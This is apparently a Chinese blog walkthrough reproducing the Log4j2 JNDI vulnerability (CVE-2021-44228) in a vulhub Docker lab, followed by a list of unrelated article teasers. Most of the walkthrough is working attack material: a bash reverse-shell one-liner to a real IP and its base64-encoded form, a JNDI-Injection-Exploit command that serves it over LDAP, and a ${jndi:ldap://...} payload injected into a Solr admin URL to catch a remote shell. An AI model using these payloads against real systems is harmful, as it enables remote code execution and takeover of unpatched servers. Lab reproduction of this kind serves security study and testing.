log4j2漏洞复现（CVE-2021-44228）
靶场环境
步骤一：设置出战规则
步骤二：开启靶场
cd vulhub
cd log4j
cd CVE-2021-44228
docker-compose up -d
docker ps
访问端口 靶机开启
步骤三：外带注入
获得dnslog
靶机访问dnslog
得到dnslog的二级域名信息
步骤四：构造恶意类 反弹shell
上传工具
安装java
构造恶意类
反弹shell加密
bash -i >& /dev/tcp/8.155.8.82/520 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzUyMCAwPiYx
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzUyMCAwPiYx}|{base64,-d}|{bash,-i}" -A "8.155.8.82"访问ldamp 出现server.log 再开启本机端口监听
http://8.155.8.82:8983/solr/admin/cores?action=${jndi:ldap://8.155.8.82:1389/7qcpvt}
本机开启监听520端口
再刷新访问ldap 发现监听地址改变 已经从本机监听到了靶机的信息
相关文章：
log4j2漏洞复现（CVE-2021-44228）
靶场环境 步骤一：设置出战规则 步骤二：开启靶场 cd vulhub cd log4j cd CVE-2021-44228 docker-compose up -d docker ps 访问端口 靶机开启 步骤三：外带注入 获得dnslog 靶机访问dnslog 得到dnslog的二级域名信息 步骤四：构造…...
tcpdump抓包分析
使用tcpdump进行抓包分析是一个常见的网络诊断和分析任务。以下是如何使用tcpdump进行抓包和分析的一些基本步骤和技巧： 1. 基本抓包 首先，你需要确定要抓取数据包的网络接口。可以使用ifconfig或ip addr命令查看网络接口。然后，使用以下命…...
LearnOpenGL学习（碰撞检测，粒子）
完整代码见：zaizai77/OpenGLTo2DGame: 基于OpenGL制作2D游戏 物体本身的数据来检测碰撞会很复杂，一半使用重叠在物体上的更简单的外形来检测。 AABB - AABB 碰撞 AABB代表的是轴对齐碰撞箱(Axis-aligned Bounding Box)，碰撞箱是指与场景基…...
操作系统（24）提高磁盘I/O速度的途径
前言 操作系统提高磁盘I/O速度的途径多种多样，这些途径旨在减少磁盘访问的延迟和开销，提高数据传输的效率。 一、磁盘高速缓存（Disk Cache） 磁盘高速缓存是一种在内存中为磁盘数据设置的缓冲区，用于存储磁盘中某些盘块…...
C/C++基础知识复习（45）
1) C 中面向对象编程如何实现数据隐藏？ 在 C 中，数据隐藏是通过将类的成员变量和方法的访问权限控制起来实现的。通常，数据隐藏是通过使用 访问控制 机制来实现的，C 提供了三种访问控制修饰符： private: 使成员变量和…...
现代C++锁介绍
文章目录 场景描述🐞 初始实现: 非线程安全版本互斥锁: std::mutex使用mutex保护共享资源使用std::lock_guard简化锁的管理 优化读操作: std::shared_mutex多个锁的管理: std::scoped_lock使用std::scoped_lock避免死锁 其他高级锁⏳ 带超时的锁: std::timed_mutex使…...
Squid代理服务器的安装使用
1.简介 Squid代理服务器是一种高效的中间服务器，位于客户端和目标服务器之间，起到了重要的网络中介作用。以下是对Squid代理服务器的详细介绍： 一、功能特点 缓存功能： Squid可以缓存经过它的请求和响应数据。当客户端发起请求时…...
爬虫学习案例8
爬取京东评论信息 采用DrissionPage自动化工具采集，感觉比Selenium工具好，真香。 安装第三方库 pip install DrissionPage pip install pandas pip install pyecharts pip install jieba pip install wordcloud1.安装DrissionPage库 DrissionPage安装…...
深入了解 CouchDB 的 Mango 查询：操作符和限制
CouchDB 是一个基于文档的数据库管理系统，支持 HTTP 协议，拥有强大的同步机制和灵活的数据模型。Mango 查询是 CouchDB 中用于数据检索的现代化查询接口，灵感来自 MongoDB 的查询语法。本文将深入探讨 Mango 查询中的各种操作符和限制，并提供详细的例子和说明，帮助你更好地…...
基于SSM（Spring + Spring MVC + MyBatis）框架搭建一个病人跟踪信息管理系统
基于SSM（Spring Spring MVC MyBatis）框架搭建一个病人治疗跟踪信息系统是一个相对复杂的项目，涉及到多个模块和功能。以下是一个简要的指导步骤。 1. 环境准备 开发环境：确保安装了Java Development Kit (JDK)，建议…...
U盘文件名变乱码：原因、恢复与预防全解析
一、U盘文件名变乱码现象描述 在日常使用U盘进行数据传输和存储时，我们有时会遇到一个令人头疼的问题：U盘中的文件名突然变成了乱码，无法正常识别或访问。这些乱码文件名可能包含各种奇怪的字符和符号，使得原本有序的文件管理变得…...
EasyGBS国标GB28181公网平台P2P远程访问故障诊断：云端服务端排查指南
随着信息技术的飞速发展，视频监控领域正经历从传统安防向智能化、网络化安防的深刻转变。EasyGBS平台，作为基于国标GB28181协议的视频流媒体平台，为用户提供了强大的视频监控直播功能。然而，在实际应用中，P2P远程访问可…...
一网多平面
“一网多平面”是一种网络架构概念，具体指的是在一张物理网络之上，逻辑划分出“1N”个平面。以下是对“一网多平面”的详细解释： 定义与构成 01一网多平面 指的是在统一的物理网络基础设施上，通过逻辑划分形成多个独立的网络平面…...
animatediff 模型网盘分享
网盘 一、123网盘，不限速 https://www.123pan.com/s/ueQ8jv-OlzPh.html 网盘 网址 animatediff 国外网址https://huggingface.co/guoyww/animatediff/tree/cd71ae134a27ec6008b968d6419952b0c0494cf2 国内镜像在 https://hf-mirror.com/guoyww/animatediff/t…...
ansible play-book玩法
使用ansible-playbook实现安装nginx_ansible 安装nginx-CSDN博客文章浏览阅读1.5k次，点赞14次，收藏19次。本文详细介绍了如何在Linux环境中准备Ansible环境，包括配置主机、下载和安装Ansible，以及使用yum模块和tar包源码安装Nginx…...
MySQL索引-索引的分类和创建
索引类型 数据类型 B树索引Hash索引FullText全文索引 物理存储 聚簇索引二级索引 字段特性 主键索引唯一索引普通索引前缀索引 字段个数 单列索引联合索引 创建索引 创建表时一同创建创建表后单独创建创建表后通过修改表结构创建 可以通过 SHOW INDEX FROM test_table;查看…...
如何给负载均衡平台做好安全防御
在现代网络架构中，负载均衡（Load Balancing）扮演着至关重要的角色。它不仅负责将流量分配到多个服务器以确保高效的服务交付，还作为第一道防线来抵御外部攻击。为了保护您的应用程序和服务免受潜在威胁，必须对负载均衡…...
HR/TA/HRBP的关系
HR（人力资源）领域包含 TA（人才获取）和 HRBP（人力资源业务伙伴）这两个重要的角色，但它们只是 HR 工作的一部分分支，一般我们说的HR指TA。 1. 人才获取（TA） 定…...
Docker环境下MySQL数据库持久化部署全攻略
概述 在当今的软件开发领域，Docker容器技术已经成为应用部署和管理的新标准。它不仅简化了应用的部署流程，还为数据管理提供了灵活的解决方案。特别是在涉及到MySQL数据库时，数据持久化是一个不可忽视的重要环节。本文将分享如何在Docker中部…...
如何查看pad的console输出，以便我们更好的进行调试，查看并了解实际可能的问题。
1、以下是baidu AI回复： 2、说明： 1）如果小伙伴们经常做android开发的话，这个不陌生，因为调试都是要开启这个开发者模式。并启用USB调试模式。 2）需要连上USB线，有的时候会忘记，然…...
谷歌浏览器插件
项目中有时候会用到插件 sync-cookie-extension1.0.0：开发环境同步测试 cookie 至 localhost，便于本地请求服务携带 cookie 参考地址：https://juejin.cn/post/7139354571712757767 里面有源码下载下来，加在到扩展即可使用FeHelp…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具，相比原生 Python 生态（如 pip 虚拟环境）有许多独特优势，尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处： 一、一站式环境管理：…...
synchronized 学习
学习源： https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖，也要考虑性能问题（场景） 2.常见面试问题： sync出…...
ES6从入门到精通：前言
ES6简介 ES6（ECMAScript 2015）是JavaScript语言的重大更新，引入了许多新特性，包括语法糖、新数据类型、模块化支持等，显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下，无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作，还是游戏直播的画面实时传输，低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架，凭借其灵活的编解码、数据…...
连锁超市冷库节能解决方案：如何实现超市降本增效
在连锁超市冷库运营中，高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术，实现年省电费15%-60%，且不改动原有装备、安装快捷、…...
多模态大语言模型arxiv论文略读（108）
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题：CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者：Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...
C++八股 —— 单例模式
文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全（Thread Safety） 线程安全是指在多线程环境下，某个函数、类或代码片段能够被多个线程同时调用时，仍能保证数据的一致性和逻辑的正确性…...
Go 语言并发编程基础：无缓冲与有缓冲通道
在上一章节中，我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道，它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
MySQL 8.0 事务全面讲解
以下是一个结合两次回答的 MySQL 8.0 事务全面讲解，涵盖了事务的核心概念、操作示例、失败回滚、隔离级别、事务性 DDL 和 XA 事务等内容，并修正了查看隔离级别的命令。 MySQL 8.0 事务全面讲解 一、事务的核心概念（ACID） 事务是…...